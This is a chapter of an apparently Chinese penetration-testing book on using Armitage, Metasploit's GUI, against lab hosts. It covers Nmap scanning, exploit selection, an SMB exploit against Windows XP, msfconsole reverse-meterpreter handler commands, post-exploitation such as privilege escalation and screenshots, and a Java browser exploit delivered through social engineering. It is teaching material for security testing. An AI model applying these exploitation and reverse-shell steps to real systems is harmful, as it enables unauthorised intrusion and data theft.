第9章 使用Armitage

本章讲解下述内容:

● 使用Armitage;

● 扫描与信息收集;

● 发现漏洞与攻击目标;

● 使用Tab切换处理多个目标;

● 使用Armitage进行后渗透阶段工作;

● 使用Armitage进行客户端攻击渗透。

9.1 介绍

本书前面讲述的内容完全是关于Metasploit框架的,介绍怎样使用该框架才能进行更好的渗透测试。现在我们将注意力转移到Metasploit扩展工具,深入了解渗透测试过程。本章主要介绍Armitage,它是运行在Metasploit框架上的图形界面工具,也是一种智能化的工具,可以把目标和漏洞利用代码进行可视化展示,并且还包含该框架中一些高级的后渗透阶段功能。

Armitage整合Metasploit框架中有关黑客的功能,包括目标发现、访问、后渗透工作及其他一些操作。Armitage 中包含动态的工作区,用户可以在其中定义目标并在目标标准之间进行快速切换,并将数千台主机划分为不同的目标集。Armitage 也可以启动扫描,并从多种安全扫描器中导入数据。Armitage 对当前目标进行了可视化展示,以便用户更清晰与哪台主机建立了会话。Armitage 使用漏洞利用代码,并运行主动检查(可选地)告知用户哪一个漏洞利用代码可用。如果这些选项失效,可以使用Hail Mary攻击利用Armitage的智能化自动攻击功能,对目标进行攻击渗透。

进入Armitage环境后,可看到Armitage中包含meterpreter中内置的一些后渗透阶段工具,用户只需要点击某个菜单选项,就可以实现权限提升、击键记录、口令哈希导出、浏览文件系统、使用命令shell等功能。

通过使用 Armitage,可以利用其中包含的各种功能,进一步简化渗透测试任务。首先介绍在Metasploit中使用Armitage的基础知识,然后对Armitage中端口扫描、前渗透阶段、后渗透阶段的工作进行讲解和分析。

9.2 使用Armitage

首先介绍Armitage的构建过程,包括在Windows和Linux中的BackTrack等不同环境。在近期的BackTrack版本中,已经预安装了Armitage。要在Windows中构建Armitage,可以从其官方网页下载其ZIP文件。

http://www.fastandeasyhacking.com/download

怎样实现

首先在BackTrack中构建Armitage。

(1)在 BackTrack5R2 中预先安装 Armitage。要找到该工具,可以先点击桌面上的Applications,之后通过Backtrack | Exploitation tools | Network Exploitation tools | Metasploit framework | Armitage路径找到该工具。

GUI界面提示用户建立连接,分别使用msf和test作为默认的用户名和口令,可以将DB驱动程序保持为 postgressql,最终形式的DB连接字符串为msf3:"8b826ac0" @127.0.0.1:7175/msf3。

figure_0210_0027

(2)默认设置设置完毕后,可以点击Start MSF启动Armitage GUI。

要在Windows上构建Armitage,需具备以下两个先决条件。

● Metasploit 4.2及以上版本。

● JDK 1.6。

(3)用户可以从上面提及的URL中下载该ZIP文件。但还有一个更简单的方法,可以通过Start | Programs | Metasploit framework | Framework Update路径进行更新,更新完成后,可自动把Armitage添加到Metasploit库。

(4)更新完成后,可在Start | Programs | Metasploit framework | Armitage路径找到该文件并启动Armitage。

figure_0211_0028

(5)从上图中可以看到用于连接的GUI,其中设置了Host、Port、User、Password的默认值,点击Connect按钮启动Armitage。

(6)点击Connect按钮,将提示用户启动Metasploit RPC服务器。点击Yes按钮,进入主窗口。要在远程Metasploit上使用Armitage,可以将IP地址从127.0.0.1修改为远程IP。

怎样工作

Armitage是通过创建对Metasploit的RPC调用实现的。点击Connect按钮之后,将产生一个重复的RPC回连失败消息。产生错误消息是因为Armitage通过RPC调用不断尝试连接Metasploit框架,并等待响应消息。连接成功后,将出现Armitage GUI界面,其底部是MSF控制台。

更多

下面看一下怎样在其他Linux上构建Armitage。

在Linux上构建Armitage

在Linux平台上的Metasploit中构建Armitage也是简单的,用户可以从官方网站下载相应的安装程序,或在Metasploit 4.2及以上版本中运行msfupdate命令获取Armitage。在 Linux上使用Armitage时,要确保框架中的数据库正在运行,可以在终端提示符中运行/etc/init.d/framework-postgres start命令启动PostgreSQL。

9.3 扫描与信息收集

以前面讲述的内容为基础,现在我们可以使用Armitage进行一些基本的渗透测试操作,即扫描与信息收集。下面在Armitage中进行Nmap扫描,并对GUI上显现的结果进行查看和分析。

准备

要启动Nmap扫描,首先选择Hosts,然后选择Nmap Scan,如下图所示。下面快速检测该操作系统,以了解目标主机是否存活。

figure_0212_0029

快速浏览Armitage窗口,其左面有一个搜索面板,在其中可以搜索框架中所有不同的模块,但不像在msfconsole中那么容易。还可以看到MSF Console面板,在其中可以执行本书前面讲过的任意Metasploit命令。所以在使用Armitage时,既可以利用GUI的功能,又可以利用命令行的功能。

怎样实现

要执行扫描,可遵循如下步骤。

(1)要启动扫描过程,Armitage 要求提供 IP 或 IP 地址段作为扫描目标。例如,以192.168.56.1/24作为目标地址段,对该网段进行整体扫描,并返回该网段内存活主机的操作系统版本等信息。

(2)扫描完成后,将列出所有存活主机及其可能的操作系统类型,如下图所示,可以看到,有3台存活主机,其中两台运行的是Windows,一台运行的是Linux。

figure_0213_0030

(3)接下来收集更多有关活跃目标的信息,以便选择合适的漏洞利用代码进行渗透测试。右键单击目标图像,点击Services选项,弹出一个新的菜单,其中列出了开放端口及端口上运行的相应服务。通过这种方式,我们可以收集大量关于多个目标的信息,而所需要的操作仅仅是点击鼠标。

figure_0214_0031

需要注意的是 Armitage 为每个新请求创建不同的菜单,这有助于用户同时处理多个目标,用户可以轻松地在不同目标之间进行切换,并获取不同目标的相关信息。操作过程汇总时如果感觉 Armitage 提供的选项不够,可以切换到 Console 菜单并直接使用其中的Metasploit命令。多目标处理是Armitage相较Metasploit而言的一大优势,可以提高渗透测试的效率。

下节中将介绍渗透测试阶段工作,并实际感受Armitage的简易快捷,其中提供了相关的漏洞利用代码和攻击载荷,可应用到对目标的渗透测试中。

怎样工作

Armitage从Metasploit框架中导入Nmap功能,Nmap所需要的参数是以Metasploit指令的形式从Armitage GUI中传递的,然后Metasploit调用Nmap脚本,并使用Metasploit指令作为参数。

9.4 发现漏洞与攻击目标

本节主要介绍怎样在 Nmap 扫描发现的目标中自动寻找已知漏洞,Armitage 将根据开放端口和操作系统中存在的已知漏洞,自动化地为目标寻找适当的漏洞利用代码。但这一过程的结果并不能总是正确的,因为搜索到的漏洞利用代码完全依赖于 Nmap 扫描返回的结果,如果操作系统寻找环节出错,那么所选择的漏洞利用代码也不会有效。

准备

启动Armitage面板,连接Metasploit,然后再启动Nmap扫描寻找可用的目标,前两节内容已经介绍过这些步骤,下面利用Armitage在目标机器中寻找漏洞。

怎样实现

发现目标之后,选择Armitage中的Attacks选项,可以根据已发现目标的开放端口和操作系统漏洞寻找已知的漏洞利用代码,要找到适当的漏洞利用代码,可以依次点击Attacks | Find Attacks | By port or by vulnerability。

怎样工作

Armitage 找到漏洞利用代码之后,在目标机器图像上右键单击,将出现新增的 Attack选项,选择该选项可显示出Armitage为某个特定目标找到的不同攻击方法。

figure_0215_0032

接下来对Windows目标进行攻击渗透,可以使用SMB ms_08_047 netapi漏洞,在目标机器图像上右键单击,通过Attack | SMB | MS_08_047 netapi路径可以找到该漏洞利用代码,用户可以检查Use a reverse connection选项,在成功执行漏洞利用代码后,可得到一个反向连接,并可以观察到如下一些现象。

目标机器的图像变成红色,图像四周边界高亮,表明攻击渗透已经成功。

右键单击目标机器图像,会出现meterpreter通道选项。

msfconsole将显示打开的会话。

figure_0216_0033

从上图可以看到,不需要传递任何命令,就可以轻而易举地实现对目标机器的攻击渗透。GUI提供了Metasploit命令驱动的所有功能,为框架增添了更多强大的功能。不过,必须对msfconsole命令有良好的掌握,不能完全依赖于GUI,有一些MSF功能无法通过Armitage的GUI使用。

下节将介绍使用Armitage进行后渗透阶段工作。

9.5 使用Tab切换处理多个目标

在前面内容中,学习到了使用Armitage GUI会使渗透过程更容易。在本节中,将介绍使用Armitage的另一优势:在Metasploit中处理多个目标时,为进行管理必须在会话之间进行切换,这种多目标切换的过程可在Armitage中得以加速,通过使用不同的菜单便可实现,下面来看具体的实现过程。

怎样实现

在上节中,已成功攻陷Windows XP目标机器,同时还发现两个可用的目标。要对Windows 2008 Server进行攻击,可以右键单击该图标,选择合适的漏洞利用代码。还有另外一种方法是,通过 View | Console启动新的控制台,并在其中使用命令行操作攻陷目标机器。

怎样工作

建立一个多处理程序,并使用客户端漏洞对目标进行攻击渗透。

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > exploit

[-] Handler failed to bind to 192.168.56.101:15263

[-] Handler failed to bind to 0.0.0.0:15263

[-] Exploit exception: The address is already in use (0.0.0.0:15263).

[*] Exploit completed, but no session was created.

从结果可以看到,exploit命令出现异常,声称无法将反向连接处理程序绑定到192.168. 56.101:15263,这是因为在对Windows XP目标进行攻击时已经在该端口建立了反向连接,所以必须改变端口号并再次使用exploit命令。

msf exploit(handler) > set LPORT 1234

LPORT => 1234

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.56.101:1234

[*] Starting the payload handler...

客户端漏洞利用代码成功执行后,可成功建立反向连接。从下图中可以看出,Windows 2008 Server目标变红并且图标四周变亮。

这里需要注意的是,不同目标有不同的操作菜单,并可以在不同菜单之间进行切换,以与任意攻陷的目标进行交互。

figure_0218_0034

这也是Armitage中另一个可使执行渗透测试更容易的重要功能,适用于处理网络中多个目标的情况。

9.6 使用Armitage进行后渗透阶段操作

在上节我们介绍了Armitage在处理多目标时的应用,当目标攻击渗透成功后,需要执行各种后渗透阶段操作。下面看一下Armitage如何应用于后渗透阶段操作中。

准备

我们将对已攻击成功的Windows XP主机进行分析,并了解怎样在其上执行一些后渗透阶段操作。

怎样实现

实现对目标的渗透后,右键单击目标图像,并进行相应的一些选项操作。一些常见的后渗透阶段动作包括:访问、交互和pivot。在Armitage中,这些操作只需要通过一些鼠标点击操作即可完成。下面执行后渗透阶段第一个也是最重要的一个操作—权限提升,在目标图像上右键单击,找到Meterpreter | Access | Escalate privileges路径,就可以实现权限提升操作。后渗透阶段的另一个重要操作 screenshot,可以通过Meterpreter | Explore | Screenshot路径实现,该操作可在新菜单中向用户展示目标桌面的快照,并可以根据用户的意愿进行刷新操作,下图是一个快照示例。

figure_0219_0035

怎样工作

从上图可以看到,快照已经在新窗口中创建,其底部有两个按钮,一个是Refresh按钮,可以对快照进行刷新操作,另一个是Watch按钮,该按钮每隔10秒中对快照进行一次刷新。

类似地,也可以尝试 Armitage 中大量的如“click-to-server”等后渗透阶段选项,以便加速渗透测试的进程。

上面只是使用Armitage作为Metasploit潜在扩展加速渗透测试进程的一个小示例,只有使用Metasploit命令后,才会理解Armitage的真正功能。强大的命令行工具和GUI的有效结合,使Armitage成为进行渗透测试的一个有效工具。

9.7 使用Armitage进行客户端攻击渗透

如果目标操作系统中不含有明显的漏洞,那么客户端攻击渗透也可以用于渗透测试。在第 4 章中已经讨论过,客户端漏洞攻击渗透技术利用的是目标系统中安装的应用程序的漏洞,例如 Internet Explorer和Adobe Reader。本节中将在Windows 7机器上使用Armitage进行Jave客户端漏洞的攻击渗透。

准备

启动Nmap扫描,获取目标机器的相关信息。

怎样实现

要进行客户端漏洞攻击渗透,可以遵循如下步骤。

(1)在Armitage的左面板,找到Exploit | Windows | Browser |java_docbase_bof路径,此时会出现如下图所示的一些参数选项。

figure_0220_0036

(2)漏洞利用模块已指定SRVHOST和URI等选项,因此用户必须提供目标机器的IP地址和要方位的URI等参数,其他所有参数都已经设置了默认值。

(3)参数值传递后,点击Launch按钮开始渗透测试进程。

怎样工作

点击Launch按钮后,在Console窗口中可看到攻击渗透活动,Armitage将生成一个URI网址,只有诱使目标用户点击该网址,客户端漏洞攻击才能进行。Armitage 可自动启动一个反向的监听器,并等待攻击成功后目标机器回连到攻击方机器。用户可以使用多种不同的社会工程技术将该URI传递给目标用户,并诱使用户点击该URI。

攻击成功后,可在Armitage GUI中看到,目标机器图像变红并且四周高亮显示,右键单击该图标,会出现一些不同的后渗透阶段选项,例如建立 meterpreter 会话、登录等操作选项,如下图所示。

figure_0221_0037

建立meterpreter会话等不同操作的响应信息也可以在Console等窗口中看到。实际上和前面章节中执行的命令集是一样的,Armitage只不过是通过提供GUI交互媒介对整个过程进行了封装操作。